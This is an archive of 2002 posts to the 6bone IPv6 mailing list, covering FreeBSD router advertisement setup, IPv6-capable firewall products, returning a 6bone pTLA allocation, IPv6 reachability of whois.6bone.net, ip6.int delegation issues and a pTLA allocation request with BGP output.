gif_interfaces="gif0"
prefixcmd="YES"
rtadvd_enable="YES"
rtadvd_interfaces="ep1"
gifconfig_gif0="200.100.200.110 200.100.220.12"
ifconifg_xl0_alias0="2001:FFFF:B405:1::1 prefixlen 64"
ifconifg_ep1_alias0="2001:FFFF:B405:2::1 prefixlen 64"



From rivero@el-mundo.net Tue Sep 17 07:01:01 2002
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Subject: Re: [6bone] IPv6 and FreeBSD
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On Tue, 17 Sep 2002, Nick Kraal wrote:

> I hope that this is not OTT on this mailing-list.
>
> I am trying to implement a simple IPv6 gateway on FreeBSD. This box has
> three interfaces xl0,ep1 and gif0. xl0 is connected to a v4 network and runs
> fine. gif0 is a IPv4 tunneled interface to the existing IPv6 router. The ep1
> interface is to a switch where I am trying to construct a pure IPv6 network
> 2001:FFFF:B405:2::/64. IPv6 connectivity from the box seems to be working
> fine but I am a bit stuck on the RA portion running on interface ep1. Can
> this work or must I install Zebra. Any ideas/hints/pointers will be greatly
> appreciated.
>

It's in spanish but you could read:

  (ipv4) http://imasd.elmundo.es/imasd/ipv6/cfg/router-freebsd.html
  (ipv6) http://imasd.ipv6.elmundo.es/imasd/ipv6/cfg/router-freebsd.html

Regards.

> Thanks in advance.
>
> -nick/
>
> ...from the IPv6 router:
> ipv6 route 2001:FFFF:B405::/48 Tunnel 5
>
> ...from /etc/rc.conf
> # ---IPv6 router config---
> ipv6_enable="YES"
> ipv6_static_routes="default"
> ipv6_route_default="default -interface gif0"
> ipv6_gateway_enable="YES"
> ipv6_network_interfaces="xl0 ep1"
> ipv6_prefix_xl0="2001:FFFF:B405:1 prefixlen 64"
> ipv6_prefix_ep1="2001:FFFF:B405:2 prefixlen 64"
> gif_interfaces="gif0"
> prefixcmd="YES"
> rtadvd_enable="YES"
> rtadvd_interfaces="ep1"
> gifconfig_gif0="200.100.200.110 200.100.220.12"
> ifconifg_xl0_alias0="2001:FFFF:B405:1::1 prefixlen 64"
> ifconifg_ep1_alias0="2001:FFFF:B405:2::1 prefixlen 64"
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

--
Raul Rivero            | Mundinteractivos - El Mundo |
Director Tecnico       | Pradillo, 42                |
raul.rivero@elmundo.es | 28002 - Madrid (SPAIN, EU)  |
http://www.elmundo.es/ | Tel: (+34) 915856018        |


From pim@ipng.nl Wed Sep 18 23:42:30 2002
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Date: Thu, 19 Sep 2002 08:42:08 +0200
From: Pim van Pelt <pim@ipng.nl>
To: Nick Kraal <nick@arc.net.my>
Cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: [6bone] IPv6 and FreeBSD
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On Tue, Sep 17, 2002 at 06:56:36PM +0800, Nick Kraal wrote:
| I hope that this is not OTT on this mailing-list.
It's not off topic at all.

 
| I am trying to implement a simple IPv6 gateway on FreeBSD. This box has
| three interfaces xl0,ep1 and gif0. xl0 is connected to a v4 network and runs
| fine. gif0 is a IPv4 tunneled interface to the existing IPv6 router. The ep1
| interface is to a switch where I am trying to construct a pure IPv6 network
| 2001:FFFF:B405:2::/64. IPv6 connectivity from the box seems to be working
| fine but I am a bit stuck on the RA portion running on interface ep1. Can
| this work or must I install Zebra. Any ideas/hints/pointers will be greatly
| appreciated.

For FreeBSD, you should look at your sysctl variable in
net.inet6.ip6.accept_rtadv and set it to 0. Then look at
net.inet6.ip6.forwarding and set that to 1.

Then man rtadvd and simply type 'rtadvd ep1'. The machine will read the
prefix info (apparently 2001:FFFF:B405:2::/64 which is a hijacked IPv6
inet6num by the way, which you should _not_ be doing), and start
periodically sending RA on this link. In addition, rtadvd listens for
incoming router sollicitations from the ep1 interface and will answer
these with an RA.

Good luck!

groet,
Pim
| 
| Thanks in advance.
| 
| -nick/
| 
| ...from the IPv6 router:
| ipv6 route 2001:FFFF:B405::/48 Tunnel 5
| 
| ...from /etc/rc.conf
| # ---IPv6 router config---
| ipv6_enable="YES"
| ipv6_static_routes="default"
| ipv6_route_default="default -interface gif0"
| ipv6_gateway_enable="YES"
| ipv6_network_interfaces="xl0 ep1"
| ipv6_prefix_xl0="2001:FFFF:B405:1 prefixlen 64"
| ipv6_prefix_ep1="2001:FFFF:B405:2 prefixlen 64"
| gif_interfaces="gif0"
| prefixcmd="YES"
| rtadvd_enable="YES"
| rtadvd_interfaces="ep1"
| gifconfig_gif0="200.100.200.110 200.100.220.12"
| ifconifg_xl0_alias0="2001:FFFF:B405:1::1 prefixlen 64"
| ifconifg_ep1_alias0="2001:FFFF:B405:2::1 prefixlen 64"
| 
| 
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From dlc@chiba.halibut.com Thu Sep 19 07:32:05 2002
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Greetings,

Are there yet any commercially-supported firewall products with support 
for IPv6, both tunnelled and native?  


From gert@Space.Net Thu Sep 19 08:10:30 2002
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From: Gert Doering <gert@space.net>
To: David Carmean <dlc-6bone@halibut.com>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Commercial IPv6-ready firewall products?
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Hi,

On Thu, Sep 19, 2002 at 07:32:03AM -0700, David Carmean wrote:
> Are there yet any commercially-supported firewall products with support 
> for IPv6, both tunnelled and native?  

Checkpoint has announced IPv6 support for "September 2002" (search for IPv6
on www.checkpoint.com for the press release).  It's not there yet, though.

Cisco PIX and Netscreen are scheduled for "Q1/2003"...

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46861  (46812)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From pim@ipng.nl Thu Sep 19 08:40:07 2002
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| Are there yet any commercially-supported firewall products with support 
| for IPv6, both tunnelled and native?  
Juniper. Perhaps Cisco also has some filtering on board, but the last
time I checked neither Juniper nor Cisco had any filtering capabilities
for IPv6.

Mind you, Juniper JunOS 5.4 and up have line-rate ASIC based filtering
on board on any interface type.

groet,
Pim

-- 
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Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From itojun@itojun.org Thu Sep 19 08:44:21 2002
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Subject: Re: [6bone] Commercial IPv6-ready firewall products? 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Date: Fri, 20 Sep 2002 00:44:14 +0900
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>On Thu, Sep 19, 2002 at 07:32:03AM -0700, David Carmean wrote:
>> Are there yet any commercially-supported firewall products with support 
>> for IPv6, both tunnelled and native?  
>Checkpoint has announced IPv6 support for "September 2002" (search for IPv6
>on www.checkpoint.com for the press release).  It's not there yet, though.
>Cisco PIX and Netscreen are scheduled for "Q1/2003"...

	not a commercial product, but OpenBSD PF works great.

itojun

From dlc@chiba.halibut.com Thu Sep 19 08:59:47 2002
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On Fri, Sep 20, 2002 at 12:44:14AM +0900, Jun-ichiro itojun Hagino wrote:
> >On Thu, Sep 19, 2002 at 07:32:03AM -0700, David Carmean wrote:
> >> Are there yet any commercially-supported firewall products with support 
> >> for IPv6, both tunnelled and native?  
> >Checkpoint has announced IPv6 support for "September 2002" (search for IPv6
> >on www.checkpoint.com for the press release).  It's not there yet, though.
> >Cisco PIX and Netscreen are scheduled for "Q1/2003"...
> 
> 	not a commercial product, but OpenBSD PF works great.

Absolutely, although I prefer Darren Reed's original IPF, on 
FreeBSD.  I'm just looking for alternatives in case the manglers 
refuse to use something we can't pay someone they can blame^w^w^w
to support it.

W.R.T. the Juniper and Cisco ACL suggestions... at the very least 
I will insist on a stateful packet filter, if not stateful 
inspection.


From atarashi@ebina.hitachi.co.jp Thu Sep 19 09:15:45 2002
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Subject: Re: [6bone] Commercial IPv6-ready firewall products?
From: Yoshifumi Atarashi <atarashi@ebina.hitachi.co.jp>
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From: Pim van Pelt <pim@ipng.nl>
Subject: Re: [6bone] Commercial IPv6-ready firewall products?
Date: Thu, 19 Sep 2002 17:39:49 +0200

> | Are there yet any commercially-supported firewall products with support 
> | for IPv6, both tunnelled and native?  
> Juniper. Perhaps Cisco also has some filtering on board, but the last
> time I checked neither Juniper nor Cisco had any filtering capabilities
> for IPv6.
> 
> Mind you, Juniper JunOS 5.4 and up have line-rate ASIC based filtering
> on board on any interface type.

Hitachi GR2000 already supported IPv6 hardware based filtering.

http://www.internetworking.hitachi.com/index.shtml
----
 Yoshifumi Atarashi


From michel@arneill-py.sacramento.ca.us Thu Sep 19 14:03:36 2002
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> David Carmean wrote:
> W.R.T. the Juniper and Cisco ACL suggestions...
> at the very least I will insist on a stateful packet
> filter, if not stateful inspection.

I agree. Something like a reflexive access-list is a good beginning, but
you can't really call something a firewall unless it has stateful
inspection and goodies such as syn/ack detection.

Michel.


From daniel@unix.za.net Thu Sep 19 18:54:00 2002
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Date: Fri, 20 Sep 2002 03:53:04 +0200 (SAST)
From: Daniel Schroder <daniel@unix.za.net>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
cc: dlc-6bone@halibut.com, <6bone@ISI.EDU>
Subject: Re: [6bone] Re: Commercial IPv6-ready firewall products?
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  Does anyone have a generic ip6fw firewall ruleset for ?
  I know about rc.firewall6 .. but I'm hoping to get a peek
  at a live on .. if not I'm going to sit this weekend
  and translate one :)



--Daniel Schroder (Private email daniel@unix.os.org.za)
  Unix users .. South Africa

To	: dlc-6bone@halibut.com
From	: Michel Py
date	: Sep 19
Address	: michel@arneill-py.sacramento.ca.us
+27839904029@sms.co.za

(A good friend will bail you out of jail,But your
best friend will be sitting next to you
saying: 'That was f*cking awesome!)

On Thu, 19 Sep 2002, Michel Py wrote:

> > David Carmean wrote:
> > W.R.T. the Juniper and Cisco ACL suggestions...
> > at the very least I will insist on a stateful packet
> > filter, if not stateful inspection.
>
> I agree. Something like a reflexive access-list is a good beginning, but
> you can't really call something a firewall unless it has stateful
> inspection and goodies such as syn/ack detection.
>
> Michel.
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From pim@ipng.nl Sun Sep 22 00:35:48 2002
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Dear Bob, dear 6bone-community, 

On the 1st of March 2002, I was allocated 3ffe:8350::/28 from the 6bone
for running a test deployment within Business Internet Trends, based in
the Netherlands. Two months later, I requested an allocation from the 
RIPE-NCC and was allocated 2001:7b8::/35. 

Recently I transitioned the backbone network for this ISP from PDH to
Ethernet over WDM and am succesfully running 4 gigabit WDM trunks from
our hometown of Ede (NL) to the AMS-IX, spanning 90 km. 

After careful consideration by myself and the NOC people I represent, I
have concluded that we no longer need the 6BONE allocation and that we
are ready to provide commercial grade IPv6 connectivity to our
colocation and dialup customers.

I've removed the ip6.int files from our nameservers and retracted the
BGP announcements for the /28 network sometime last week. I checked just
now and see that the network no longer exists on 6BONE. That means I'm
ready to officially give the allocation back to the registry.

I would like to say thank-you to Bob F and to David K who were so
supporting in rolling out IPv6 at AS12859. I hope your wine tasted ok,
David.

Some operational matters should perhaps be addressed. After removing
DNS, BGP and all references within my network, apart from removing the
objects in the 6BONE whois-db, are there other things to take care of ?

Perhaps we can set up a checklist and stick it on www.6bone.net for other
operators to take a look at when they return their 6BONE allocation in
the future.

Kind regards,
Pim van Pelt

-- 
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Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From gert@Space.Net Mon Sep 23 08:10:30 2002
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Subject: [6bone] whois.6bone.net has only v4 connectivity?
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Hi,

is ist just me...?

$ dig whois.6bone.net any
...
;; ANSWER SECTION:
whois.6bone.net.        1H IN A         192.103.19.12

is it a bug, or a mis-feature, that whois.6bone.net does not have IPv6
connectivity?

Just wondering...

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  47095  (46861)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From owens@nysernet.org Mon Sep 23 09:02:10 2002
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Date: Mon, 23 Sep 2002 12:02:08 -0400
To: 6bone@mailman.isi.edu
From: Bill Owens <owens@nysernet.org>
Subject: Re: [6bone] whois.6bone.net has only v4 connectivity?
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At 17:10 +0200 9/23/02, Gert Doering wrote:
>Hi,
>
>is ist just me...?
>
>$ dig whois.6bone.net any
>...
>;; ANSWER SECTION:
>whois.6bone.net.        1H IN A         192.103.19.12
>
>is it a bug, or a mis-feature, that whois.6bone.net does not have IPv6
>connectivity?

There was some discussion back in February of getting v6 connectivity 
for that machine, but I don't recall seeing any updates. Is there a 
v6-capable WHOIS client available?

Bill.

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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Gert Doering'" <gert@space.net>, <6bone@mailman.isi.edu>
Subject: RE: [6bone] whois.6bone.net has only v4 connectivity?
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Gert Doering
> is ist just me...?
> 
> $ dig whois.6bone.net any
> ...
> ;; ANSWER SECTION:
> whois.6bone.net.        1H IN A         192.103.19.12
> 
> is it a bug, or a mis-feature, that whois.6bone.net does not have IPv6
> connectivity?

That has $always been the case.
A couple of weeks ago www.6bone.net only did v4 too :(

On another note... since when is there the possibility for delegating
2002::/16 reverses ?

3.0.0.d.d.e.3.c.2.0.0.2.ip6.int.  23h56m28s IN NS  nya.vihti.fi.
3.0.0.d.d.e.3.c.2.0.0.2.ip6.int.  23h56m28s IN NS  nl.vihti.fi.
6.0.0.d.d.e.3.c.2.0.0.2.ip6.int.  23h56m28s IN NS  nl.vihti.fi.
6.0.0.d.d.e.3.c.2.0.0.2.ip6.int.  23h56m28s IN NS  nya.vihti.fi.

odd SOA record though 20021402, month 14 ?

I also noticed that 
f.5.ip6.int.            NS      ns.isi.edu.
f.5.ip6.int.            NS      flag.ep.net.
is still loaded onto the NS's and...
 *** ip6.int SOA record at ns.isi.edu is not authoritative
Also nicely shown with:
http://www.foobar.tm/dns/cache/ip6.int.png

Greets,
 Jeroen


From gert@Space.Net Mon Sep 23 09:07:14 2002
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From: Gert Doering <gert@space.net>
To: Jeroen Massar <jeroen@unfix.org>
Cc: "'Gert Doering'" <gert@space.net>, 6bone@mailman.isi.edu
Subject: Re: [6bone] whois.6bone.net has only v4 connectivity?
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Hi,

On Mon, Sep 23, 2002 at 06:04:14PM +0200, Jeroen Massar wrote:
> Gert Doering
> > is ist just me...?
> > 
> > $ dig whois.6bone.net any
> > ...
> > ;; ANSWER SECTION:
> > whois.6bone.net.        1H IN A         192.103.19.12
> > 
> > is it a bug, or a mis-feature, that whois.6bone.net does not have IPv6
> > connectivity?
> 
> That has $always been the case.

Hmmm.  How to fix it?  whois.6bone.net is located at Nokia, they have
IPv6, should be doable...

> A couple of weeks ago www.6bone.net only did v4 too :(

But now they have nice and shiny IPv6 :-)

> On another note... since when is there the possibility for delegating
> 2002::/16 reverses ?
> 
> 3.0.0.d.d.e.3.c.2.0.0.2.ip6.int.  23h56m28s IN NS  nya.vihti.fi.
> 3.0.0.d.d.e.3.c.2.0.0.2.ip6.int.  23h56m28s IN NS  nl.vihti.fi.
> 6.0.0.d.d.e.3.c.2.0.0.2.ip6.int.  23h56m28s IN NS  nl.vihti.fi.
> 6.0.0.d.d.e.3.c.2.0.0.2.ip6.int.  23h56m28s IN NS  nya.vihti.fi.

I'm not sure.   In the last RIPE meetings, there was the wish to make
it possible, but I haven't heard anything about it since then.

> odd SOA record though 20021402, month 14 ?
> 
> I also noticed that 
> f.5.ip6.int.            NS      ns.isi.edu.
> f.5.ip6.int.            NS      flag.ep.net.
> is still loaded onto the NS's and...

Ooops.

>  *** ip6.int SOA record at ns.isi.edu is not authoritative

I wouldn't mind too much if ip6.int could disappear quickly - *provided*
the RIRs and IANA (and whoever) get their act together and make 3FFE
reverse possible under ip6.arpa.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  47095  (46861)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From jeroen@unfix.org Mon Sep 23 09:23:15 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Gert Doering'" <gert@space.net>
Cc: <6bone@mailman.isi.edu>
Subject: RE: [6bone] whois.6bone.net has only v4 connectivity?
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Gert Doering [mailto:gert@space.net] 
> Hi,
> 
> On Mon, Sep 23, 2002 at 06:04:14PM +0200, Jeroen Massar wrote:
> > Gert Doering
> > > is ist just me...?
> > > 
> > > $ dig whois.6bone.net any
> > > ...
> > > ;; ANSWER SECTION:
> > > whois.6bone.net.        1H IN A         192.103.19.12
> > > 
> > > is it a bug, or a mis-feature, that whois.6bone.net does 
> not have IPv6
> > > connectivity?
> > 
> > That has $always been the case.
> 
> Hmmm.  How to fix it?  whois.6bone.net is located at Nokia, they have
> IPv6, should be doable...
If it's running from inetd it would be a sinch, otherwise some tunnel
tools could do the trick (or read my netcat6 lips :)

> > A couple of weeks ago www.6bone.net only did v4 too :(
> 
> But now they have nice and shiny IPv6 :-)
> 
> > On another note... since when is there the possibility for 
> delegating
> > 2002::/16 reverses ?
> > 
> > 3.0.0.d.d.e.3.c.2.0.0.2.ip6.int.  23h56m28s IN NS  nya.vihti.fi.
> > 3.0.0.d.d.e.3.c.2.0.0.2.ip6.int.  23h56m28s IN NS  nl.vihti.fi.
> > 6.0.0.d.d.e.3.c.2.0.0.2.ip6.int.  23h56m28s IN NS  nl.vihti.fi.
> > 6.0.0.d.d.e.3.c.2.0.0.2.ip6.int.  23h56m28s IN NS  nya.vihti.fi.
> 
> I'm not sure.   In the last RIPE meetings, there was the wish to make
> it possible, but I haven't heard anything about it since then.
And nothing has been heared about it ever since indeed...
So what's up with this ?

> > odd SOA record though 20021402, month 14 ?
> > 
> > I also noticed that 
> > f.5.ip6.int.            NS      ns.isi.edu.
> > f.5.ip6.int.            NS      flag.ep.net.
> > is still loaded onto the NS's and...
> 
> Ooops.
> 
> >  *** ip6.int SOA record at ns.isi.edu is not authoritative
> 
> I wouldn't mind too much if ip6.int could disappear quickly - 
> *provided*
> the RIRs and IANA (and whoever) get their act together and make 3FFE
> reverse possible under ip6.arpa.

That 2002::/16 entry isn't visible under ip6.arpa....

Greets,
 Jeroen


From sb@rdns.de Mon Sep 23 10:54:56 2002
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Date: Mon, 23 Sep 2002 19:54:36 +0200
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Subject: Re: [6bone] whois.6bone.net has only v4 connectivity?
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Dear Bill Owens,

> There was some discussion back in February of getting v6 connectivity
> for that machine, but I don't recall seeing any updates. Is there a 
> v6-capable WHOIS client available?

yes, telnet whoisserver 43.

-- 
best regards,
Sascha Bielski                            mailto:sb@rdns.de
xs26.net German Coordination
phone: +49 (0) 174 / 432 93 76
email: sb@rdns.de


From md@Linux.IT Mon Sep 23 13:29:03 2002
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From: "Marco d'Itri" <md+6bone@Linux.IT>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] whois.6bone.net has only v4 connectivity?
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On Sep 23, Bill Owens <owens@nysernet.org> wrote:

 >There was some discussion back in February of getting v6 connectivity 
 >for that machine, but I don't recall seeing any updates. Is there a 
 >v6-capable WHOIS client available?
Yes, since three years:
http://www.bofh.it/~md/software/whois_4.5.29.tar.gz

-- 
ciao,
Marco

From jeroen@unfix.org Mon Sep 23 13:50:42 2002
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To: "'Sascha Bielski'" <sb@rdns.de>, <6bone-admin@mailman.isi.edu>,
   "'Bill Owens'" <owens@nysernet.org>
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Subject: RE: [6bone] whois.6bone.net has only v4 connectivity?
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Sascha Bielski wrote:
> > There was some discussion back in February of getting v6 
> connectivity
> > for that machine, but I don't recall seeing any updates. Is there a 
> > v6-capable WHOIS client available?
> 
> yes, telnet whoisserver 43.

Even better default out of the box Debian*, FreeBSD** and NetBSD***
clients ;)

* = The version I tested this with:
Package: whois
Version: 4.5.29
Maintainer: Marco d'Itri <md@linux.it>

** = FreeBSD 4.6+ (maybe lower)
*** = NetBSD 1.6+ (maybe lower)

8<------------------------------
jeroen@purgatory:~$ whois -h whois.ipv6.sixxs.net LIM-SIXXS-TESTING
% This is the SixXS Whois server.
% SixXS - http://www.sixxs.net.
% The objects are in RPSL format.
% Objects not ending in -SIXXS are
% cached from remote sources.

limerick:     LIM-SIXXS-TESTING
description:  This is the first test limerick
description:  inserted into the database
text:         Testing this thing
text:         made me sing
text:         I hope it will work
text:         and that the code wont bork
text:         nor ming
admin-c:      JRM1-RIPE
author:       JRM1-RIPE
remarks:      This object is generated from the SixXS database
remarks:      Abuse reports should go to abuse@sixxs.net
remarks:      Information can be found at http://www.sixxs.net/
changed:      info@sixxs.net 20020819
mnt-by:       SIXXS-MNT
source:       SIXXS
<SNIP>
------------------------------>8

$ host -t any whois.ipv6.sixxs.net
whois.ipv6.sixxs.net is an alias for noc.ipv6.sixxs.net.
$ host -t any noc.ipv6.sixxs.net
noc.ipv6.sixxs.net has AAAA address 3ffe:4007:1:1:210:dcff:fe20:7c7c

No IPv4 there to connect too :)

Greets,
 Jeroen


From kre@munnari.OZ.AU Tue Sep 24 00:53:34 2002
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    Date:        Mon, 23 Sep 2002 18:04:14 +0200
    From:        "Jeroen Massar" <jeroen@unfix.org>
    Message-ID:  <000901c2631a$ddb680e0$210d640a@unfix.org>

  | odd SOA record though 20021402, month 14 ?

Serial numbers are just integers after all ... but a common reason for
that kind of thing, is to correct (live with) a typo.   Eg: If the serial
number has a value like 20020708 and someone wants to change it to
represent Aug 12th and makes it 20021208 instead of 20020812 ... rather
than attempt to wind the numbers backwards, the months can just be left
counting up.

No idea if that is what happened, but it might have been.  I have
certainly done that before.

  | I also noticed that 
  | f.5.ip6.int.            NS      ns.isi.edu.
  | f.5.ip6.int.            NS      flag.ep.net.
  | is still loaded onto the NS's and...

Yes.   I asked Bill Manning if it was not perhaps time to rid the world
of that obsolete nonsense.   He had some pathetic excuse for keeping it...

  |  *** ip6.int SOA record at ns.isi.edu is not authoritative

The ip6.int zone is transferred using TSIG.   The key changed a while ago.
Perhaps ns.isi.edu hasn't updated its key?   Bill?

kre


From md@Linux.IT Tue Sep 24 08:35:15 2002
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Date: Tue, 24 Sep 2002 17:34:53 +0200
From: "Marco d'Itri" <md+6bone@Linux.IT>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] whois.6bone.net has only v4 connectivity?
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On Sep 23, Jeroen Massar <jeroen@unfix.org> wrote:

 >Even better default out of the box Debian*, FreeBSD** and NetBSD***
 >clients ;)
Mandrake Linux too, IIRC.

-- 
ciao,
Marco

From david@iprg.nokia.com Tue Sep 24 09:57:09 2002
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Date: Tue, 24 Sep 2002 09:57:53 -0700
From: David Kessens <david@IPRG.nokia.com>
To: Gert Doering <gert@space.net>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] whois.6bone.net has only v4 connectivity?
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Gert,

On Mon, Sep 23, 2002 at 06:07:12PM +0200, Gert Doering wrote:
> 
> Hmmm.  How to fix it?  whois.6bone.net is located at Nokia, they have
> IPv6, should be doable...

Yes, it is doable and rumors have it that I might soon find
the time to finally fix this.

I hope this helps,

David K.
---

From fink@es.net Tue Sep 24 10:05:35 2002
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Date: Tue, 24 Sep 2002 10:04:58 -0700
To: Pim van Pelt <pim@ipng.nl>
From: Bob Fink <fink@es.net>
Subject: Re: [6bone] pTLA deallocation
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Pim,

At 09:35 AM 9/22/2002 +0200, Pim van Pelt wrote:
>Dear Bob, dear 6bone-community,
>
>On the 1st of March 2002, I was allocated 3ffe:8350::/28 from the 6bone
>for running a test deployment within Business Internet Trends, based in
>the Netherlands. Two months later, I requested an allocation from the
>RIPE-NCC and was allocated 2001:7b8::/35.
>
>Recently I transitioned the backbone network for this ISP from PDH to
>Ethernet over WDM and am succesfully running 4 gigabit WDM trunks from
>our hometown of Ede (NL) to the AMS-IX, spanning 90 km.
>
>After careful consideration by myself and the NOC people I represent, I
>have concluded that we no longer need the 6BONE allocation and that we
>are ready to provide commercial grade IPv6 connectivity to our
>colocation and dialup customers.

Thanks for returning your now unused 6bone pefix. This is the right thing 
to do for you, and for the 6bone.


>I've removed the ip6.int files from our nameservers and retracted the
>BGP announcements for the /28 network sometime last week. I checked just
>now and see that the network no longer exists on 6BONE. That means I'm
>ready to officially give the allocation back to the registry.
>
>I would like to say thank-you to Bob F and to David K who were so
>supporting in rolling out IPv6 at AS12859. I hope your wine tasted ok,
>David.
>
>Some operational matters should perhaps be addressed. After removing
>DNS, BGP and all references within my network, apart from removing the
>objects in the 6BONE whois-db, are there other things to take care of ?

I can't think of any. Let's see if others come up with any.


>Perhaps we can set up a checklist and stick it on www.6bone.net for other
>operators to take a look at when they return their 6BONE allocation in
>the future.

Good idea. I would appreciate it if you could send me your suggested 
checklist when you are done.

Let me know if I can be of help. Also, let me know when I should officially 
mark the prefix as not in use.


Thanks,

Bob


From fink@es.net Tue Sep 24 10:23:42 2002
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To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <fink@es.net>
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Subject: [6bone] pTLA request EUROVIEW-GROUP - review closes 8 October 2002
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6bone Folk,

EUROVIEW-GROUP has requested a pTLA allocation and I find their request 
fully compliant with RFC2772. The open review period for this will close 8 
October 2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois? EUROVIEW-GROUP>

<http://www.v6.euroview-group.com>

Note that the ASN that EUROVIEW-GROUP uses, AS15450, is owned by Alhambra 
Systems (ALHSYS), which is part of this collaboration.


Thanks,

Bob

===
>Subject: RV: EUROVIEW-GROUP pTLA request
>Date: Mon, 16 Sep 2002 09:32:12 +0200
>From: "Javier Castillo Alcibar" <javier.castillo@euroview-spain.com>
>To: <fink@es.net>
>Cc: "Javier Castillo Alcibar" <javier.castillo@euroview-spain.com>
>         , Juan José Muñoz Martinez <juanj.munoz@euroview-spain.com>
>
>Hello Bob,
>
>          I send you this email for request you a pTLA for the
>  EUROVIEW-GROUP (www.v6.euroview-group.com).  Euroview group is a group of
>  different IT companies in Spain, France and Italy. We are very interested
>  in ipv6, and the first step is to start building a new ipv6 network for
>  test ipv6 software, solutions for our customers, etc....
>
>          If we need something, please tell me. This is the requested form:
>
>
>7. Guidelines for 6Bone pTLA sites
>
>The following rules apply to qualify for a 6Bone pTLA allocation. It
>should be recognized that holders of 6Bone pTLA allocations are
>expected to provide production quality backbone network services for
>the 6Bone.
>
>
>1. The pTLA Applicant must have a minimum of three (3) months
>qualifying experience as a 6Bone end-site or pNLA transit. During
>the entire qualifying period the Applicant must be operationally
>providing the following:
>
>a. Fully maintained, up to date, 6Bone Registry entries for their
>ipv6-site inet6num, mntner, and person objects, including each
>tunnel that the Applicant has.
>
>          MNT-EUROVIEW-GROUP
>          EUROVIEW-GROUP
>
>b. Fully maintained, and reliable, BGP4+ peering and connectivity
>between the Applicant's boundary router and the appropriate
>connection point into the 6Bone. This router must be IPv6
>pingable. This criteria is judged by members of the 6Bone
>Operations Group at the time of the Applicant's pTLA request.
>
>obsdv6> sh ipv6 bgp summary
>
>BGP router identifier 194.69.248.62, local AS number 46016
>389 BGP AS-PATH entries
>0 BGP community entries
>
>
>Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ
>Up/Down  State/PfxRcd
>3ffe:8260:2010:fffe::1
>
>                  4 45328   16747   12633        0    0    0 2d11h02m      258
>
>3ffe:8260:2010:ffff::1
>
>                  4 45329   10687   10013        0    0    0 02:26:07      258
>
>Total number of neighbors 2
>
>
>c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>entries for the Applicant's router(s) and at least one host
>system.
>
>          deb1.v6.euroview-group.com
>          obsdv6.v6.euroview-group.com
>
>
>d. A fully maintained, and reliable, IPv6-accessible system
>providing, at a mimimum, one or more web pages, describing the
>Applicant's IPv6 services. This server must be IPv6 pingable.
>
>         Router:  obsdv6.v6.euroview-group.com
>
>         web server:  www.v6.euroview-group.com
>
>         host pingable: deb1.v6.euroview-spain.com
>
>
>2. The pTLA Applicant MUST have the ability and intent to provide
>"production-quality" 6Bone backbone service. Applicants must
>provide a statement and information in support of this claim.
>This MUST include the following:
>
>
>a. A support staff of two persons minimum, three preferable, with
>person attributes registered for each in the ipv6-site object
>for the pTLA applicant.
>
>          Javier Castillo (me): JCA1-6BONE
>
>          Juan Jose Muñoz: JJMM1-6BONE
>
>
>b. A common mailbox for support contact purposes that all support
>staff have acess to, pointed to with a notify attribute in the
>ipv6-site object for the pTLA Applicant.
>
>          ipv6@alhsys.com
>
>
>3. The pTLA Applicant MUST have a potential "user community" that
>would be served by its becoming a pTLA, e.g., the Applicant is a
>major provider of Internet service in a region, country, or focus
>of interest. Applicant must provide a statement and information in
>support this claim.
>
>
>          Euroview-Group is a group of different IT comanies, so these
>  companies and their clients are the first potential customers.....
>
>I can give a more detailed explanation of Euroview-Spain activities. 
>Euro-view Spain is an ISP and data/voice comunications integration company:
>
>  - As ISP we provide internet connection to medium sized comanies to 
> Internet, and other internet based solutions such vpn's, extranets, etc. 
> A base of small home users exists today but is reducing cause the spread 
> of low cost xDSL technologies of big ISP providers.
>
>  - As Datacomunications we are specialized in providing Lan/wan 
> connctivity between companies. We also work with carriers and operator to 
> provide IPv4 and other networking protocol services that they not 
> provided to their final customers in a overall project.
>
>  - We are involved in data-voice convegence and CT and Call Center 
> apllications.
>
>Our first plans is to provide an ipv6 enabled network connected to the 
>backbone, and connecto to it our customers to divulgate and test ipv6 and 
>prepare them for migration strategies of their networks.
>
>At same time we want to spread the ipv6 protocols in the Eurovie-group 
>companies: ASP providers, SBC integrators, to give each other feed-back of 
>how ipv6 can influenciate future applications and business.
>
>
>We want a 6bone prefix, and not a ripe prefix,
>  because we want to test deeply the IPv6 protocol,and the
>  6bone seems to be a more test network than ripe's
>  networks. In a future, if IPv6 becomes the production IP protocol in 
> internet, we will
